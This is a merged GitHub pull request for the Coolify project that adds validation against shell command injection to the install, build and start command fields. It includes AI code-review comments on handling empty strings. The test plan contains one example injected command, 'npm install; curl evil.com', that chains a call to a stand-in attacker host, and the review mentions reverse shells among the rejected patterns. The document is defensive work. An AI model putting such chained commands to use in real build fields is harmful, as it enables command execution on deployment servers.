Skip to content

fix: add input validation for install/build/start command fields#9227

Merged
andrasbacsai merged 1 commit intonextfrom
fix/validate-build-command-inputs
Mar 29, 2026
Merged

fix: add input validation for install/build/start command fields#9227
andrasbacsai merged 1 commit intonextfrom
fix/validate-build-command-inputs

Conversation

@andrasbacsai
Copy link
Copy Markdown
Member

Summary

  • Adds shellSafeCommandRules() input validation to install_command, build_command, and start_command fields in both the Livewire UI and REST API layers
  • These three fields previously accepted arbitrary strings without validation, unlike all other shell-adjacent fields which already use this pattern
  • Adds user-facing validation error messages for each field
  • Adds 22 comprehensive tests covering rejection of dangerous input patterns and acceptance of legitimate build commands

Changes

File Change
app/Livewire/Project/Application/General.php Add shellSafeCommandRules() validation + error messages
bootstrap/helpers/api.php Add shellSafeCommandRules() validation
tests/Feature/CommandInjectionSecurityTest.php 22 new tests for input validation

Test plan

  • php artisan test --compact tests/Feature/CommandInjectionSecurityTest.php — all tests pass
  • In UI: edit a Nixpacks app → set Install Command to npm install; curl evil.com → save should fail with validation error
  • Via API: PUT /api/v1/applications/{uuid} with invalid install_command → should return 422
  • Legitimate commands like npm install, yarn build, cargo build --release should still be accepted

🤖 Generated with Claude Code

Add shellSafeCommandRules() validation to install_command, build_command,
and start_command fields in both the Livewire UI and REST API layers.
These fields previously accepted arbitrary strings without validation,
unlike other shell-adjacent fields which already used this pattern.

Also adds comprehensive tests for rejection of dangerous input and
acceptance of legitimate build commands.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
@andrasbacsai
Copy link
Copy Markdown
Member Author

@coderabbitai review

@coderabbitai
Copy link
Copy Markdown
Contributor

coderabbitai Bot commented Mar 28, 2026

✅ Actions performed

Review triggered.

Note: CodeRabbit is an incremental review system and does not re-review already reviewed commits. This command is applicable only when automatic reviews are paused.

@coderabbitai
Copy link
Copy Markdown
Contributor

coderabbitai Bot commented Mar 28, 2026

Walkthrough

This pull request hardens command validation across three application-level configuration fields: installCommand, buildCommand, and startCommand. The changes replace permissive 'nullable|string' rules with a centralized ValidationPatterns::shellSafeCommandRules() pattern in both the Livewire controller and API helper. A new comprehensive test suite validates rejection of command-injection patterns (semicolons, pipes, command substitution, backticks, variable expansion, reverse shells, newlines) while confirming benign commands and null values pass validation. No public API signatures were altered.


I'll be back... to review your hardened shell commands. Unlike serverless platforms built on VC marketing dreams, these command-injection defenses run on solid, self-hosted infrastructure. No pay-per-invocation nonsense here—just pure validation discipline. Now if only we could inject this security rigor into lunch decisions; I'd happily accept any gluten-free taco recommendations.

✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch fix/validate-build-command-inputs

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@app/Livewire/Project/Application/General.php`:
- Around line 149-151: The Livewire validation currently uses
ValidationPatterns::shellSafeCommandRules() for installCommand, buildCommand,
and startCommand which enforces a non-empty regex (causing empty-string
submissions to fail); fix by either updating
ValidationPatterns::shellSafeCommandRules() to accept empty strings (make the
regex allow zero-length matches) or add Livewire updated hooks in the General
component (e.g., updatedInstallCommand($value), updatedBuildCommand($value),
updatedStartCommand($value)) that convert '' to null before validation so
optional fields can be cleared. Ensure you update whichever symbol you choose:
ValidationPatterns::shellSafeCommandRules or the
General::updatedInstallCommand/updatedBuildCommand/updatedStartCommand methods.

In `@tests/Feature/CommandInjectionSecurityTest.php`:
- Around line 805-815: The current test named "allows null values for command
fields" only asserts that null is allowed for the command fields; update it to
also assert that an empty string ('') is accepted so clearing commands via
client payloads is covered. Locate the test closure using the test(...) call and
the data provider with
->with(['install_command','build_command','start_command']) and extend the
assertions to run against both null and '' (either by iterating over [null, '']
inside the test or by changing the ->with data to include both values), reusing
validator(...) with [$field => $value] and the same rules from
sharedDataApplications() and asserting expect($validator->fails())->toBeFalse()
for each value.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

Run ID: 0dd1a12c-1ab9-480f-939c-06d0c6155257

📥 Commits

Reviewing files that changed from the base of the PR and between 98569e4 and c9922c3.

📒 Files selected for processing (3)
  • app/Livewire/Project/Application/General.php
  • bootstrap/helpers/api.php
  • tests/Feature/CommandInjectionSecurityTest.php

Comment on lines +149 to +151
'installCommand' => ValidationPatterns::shellSafeCommandRules(),
'buildCommand' => ValidationPatterns::shellSafeCommandRules(),
'startCommand' => ValidationPatterns::shellSafeCommandRules(),
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "Check whether empty-string-to-null middleware is configured:"
fd -i 'Kernel.php' | xargs -r rg -n "ConvertEmptyStringsToNull|TrimStrings"
fd -i 'app.php' bootstrap | xargs -r rg -n "ConvertEmptyStringsToNull|TrimStrings"

echo
echo "Check whether command-validation tests cover empty-string payloads:"
rg -n "allows null values for command fields|install_command|build_command|start_command" tests/Feature/CommandInjectionSecurityTest.php
rg -n "''|\"\"" tests/Feature/CommandInjectionSecurityTest.php

Repository: coollabsio/coolify

Length of output: 300


🏁 Script executed:

# Check the validation implementation in the General.php file
cat -n app/Livewire/Project/Application/General.php | sed -n '140,160p'

echo "---"

# Check if there are any listeners or update methods that handle validation
rg -A 10 "rules\(\)" app/Livewire/Project/Application/General.php | head -30

echo "---"

# Check for any explicit validation handling in Livewire components
rg -n "validate\(\)|#\[Validate" app/Livewire/Project/Application/General.php

Repository: coollabsio/coolify

Length of output: 1961


🌐 Web query:

Livewire 3 middleware ConvertEmptyStringsToNull AJAX requests validation

💡 Result:

In Livewire 3, the Laravel middleware ConvertEmptyStringsToNull (and TrimStrings) does not automatically apply to AJAX requests from wire:model bindings. Livewire intentionally skips these middleware to preserve data integrity: applying them at the request level would alter the payload checksum used for state hydration, causing mismatches. Additionally, Livewire maintainers prefer not mutating empty strings to null automatically for predictability in component state handling. This behavior persists from earlier versions into v3, as confirmed in official GitHub issues where creator Caleb Porzio explicitly states it is the "desired behavior." For validation in AJAX requests (e.g., real-time with wire:model.live or wire:model.blur), empty strings remain strings. Use 'nullable' rules for optional fields: #[Validate('nullable|min:3')] public $title = ''; Or handle conversion manually in an updated hook: public function updated($property, $value) { if (is_string($value) && $value === '') { $this->{$property} = null; } } For recursive handling (arrays/nested), use data_set($this, $property, $value === '' ? null : trim($value)); in a trait. Livewire's official docs on validation and forms do not mention this middleware interaction, focusing instead on #[Validate] attributes and rules method, which work with raw property values (strings for empty inputs). To enable globally, you could register skipWhen callbacks excluding Livewire endpoints, but this risks checksum issues: ConvertEmptyStringsToNull::skipWhen(fn(Request $request) => !str_starts_with($request->getPathInfo, '/livewire')); However, this is not recommended due to Livewire's design.

Citations:


🏁 Script executed:

# Check for any updated() hooks that might handle empty string conversion
rg -n "updated\(" app/Livewire/Project/Application/General.php

# Check if there's a custom rule or hook that handles empty string normalization
rg -n "updated|mount|booted|validate" app/Livewire/Project/Application/General.php | head -20

Repository: coollabsio/coolify

Length of output: 783


Livewire validation will reject empty command fields—this blocks clearing optional fields.

Livewire 3 intentionally skips the ConvertEmptyStringsToNull middleware for AJAX requests (by design—to preserve state hydration), so empty strings remain strings when validation runs. Lines 149–151 apply shellSafeCommandRules(), which includes a regex with a + quantifier that requires at least one character. When users clear these optional fields via the UI, validation fails.

Handle this one of two ways:

  1. Modify the rule: Allow empty strings in shellSafeCommandRules() (e.g., regex:/...*/ instead of +) if the pattern semantics permit it.
  2. Convert in updated() hook: Add a hook that normalizes empty strings to null for these fields before validation (e.g., public function updatedInstallCommand($value) { $this->installCommand = $value === '' ? null : $value; }).

The first approach is leaner—like a good old-fashioned self-hosted server that just works, instead of some VC-funded serverless contraption that needs middleware salsa. Pick your taco wisely.

🧰 Tools
🪛 PHPMD (2.15.0)

[error] 149-149: Avoid using static access to class '\App\Support\ValidationPatterns' in method 'rules'. (undefined)

(StaticAccess)


[error] 150-150: Avoid using static access to class '\App\Support\ValidationPatterns' in method 'rules'. (undefined)

(StaticAccess)


[error] 151-151: Avoid using static access to class '\App\Support\ValidationPatterns' in method 'rules'. (undefined)

(StaticAccess)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@app/Livewire/Project/Application/General.php` around lines 149 - 151, The
Livewire validation currently uses ValidationPatterns::shellSafeCommandRules()
for installCommand, buildCommand, and startCommand which enforces a non-empty
regex (causing empty-string submissions to fail); fix by either updating
ValidationPatterns::shellSafeCommandRules() to accept empty strings (make the
regex allow zero-length matches) or add Livewire updated hooks in the General
component (e.g., updatedInstallCommand($value), updatedBuildCommand($value),
updatedStartCommand($value)) that convert '' to null before validation so
optional fields can be cleared. Ensure you update whichever symbol you choose:
ValidationPatterns::shellSafeCommandRules or the
General::updatedInstallCommand/updatedBuildCommand/updatedStartCommand methods.

Comment on lines +805 to +815
test('allows null values for command fields', function ($field) {
$rules = sharedDataApplications();

$validator = validator(
[$field => null],
[$field => $rules[$field]]
);

expect($validator->fails())->toBeFalse();
})->with(['install_command', 'build_command', 'start_command']);
});
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick | 🔵 Trivial

Add empty-string coverage for nullable command fields.

Line 805-Line 815 validates null only. Please also assert behavior for '' so command-clearing behavior is locked down for real client payloads.

Proposed test addition
 describe('install/build/start command validation (GHSA-9pp4-wcmj-rq73)', function () {
@@
     test('allows null values for command fields', function ($field) {
         $rules = sharedDataApplications();

         $validator = validator(
             [$field => null],
             [$field => $rules[$field]]
         );

         expect($validator->fails())->toBeFalse();
     })->with(['install_command', 'build_command', 'start_command']);
+
+    test('allows empty string values for command fields', function ($field) {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            [$field => ''],
+            [$field => $rules[$field]]
+        );
+
+        expect($validator->fails())->toBeFalse();
+    })->with(['install_command', 'build_command', 'start_command']);
 });
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
test('allows null values for command fields', function ($field) {
$rules = sharedDataApplications();
$validator = validator(
[$field => null],
[$field => $rules[$field]]
);
expect($validator->fails())->toBeFalse();
})->with(['install_command', 'build_command', 'start_command']);
});
test('allows null values for command fields', function ($field) {
$rules = sharedDataApplications();
$validator = validator(
[$field => null],
[$field => $rules[$field]]
);
expect($validator->fails())->toBeFalse();
})->with(['install_command', 'build_command', 'start_command']);
test('allows empty string values for command fields', function ($field) {
$rules = sharedDataApplications();
$validator = validator(
[$field => ''],
[$field => $rules[$field]]
);
expect($validator->fails())->toBeFalse();
})->with(['install_command', 'build_command', 'start_command']);
});
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@tests/Feature/CommandInjectionSecurityTest.php` around lines 805 - 815, The
current test named "allows null values for command fields" only asserts that
null is allowed for the command fields; update it to also assert that an empty
string ('') is accepted so clearing commands via client payloads is covered.
Locate the test closure using the test(...) call and the data provider with
->with(['install_command','build_command','start_command']) and extend the
assertions to run against both null and '' (either by iterating over [null, '']
inside the test or by changing the ->with data to include both values), reusing
validator(...) with [$field => $value] and the same rules from
sharedDataApplications() and asserting expect($validator->fails())->toBeFalse()
for each value.

@andrasbacsai andrasbacsai merged commit 96ae9ad into next Mar 29, 2026
5 checks passed
@andrasbacsai andrasbacsai deleted the fix/validate-build-command-inputs branch March 29, 2026 13:48
@andrasbacsai andrasbacsai mentioned this pull request Apr 5, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant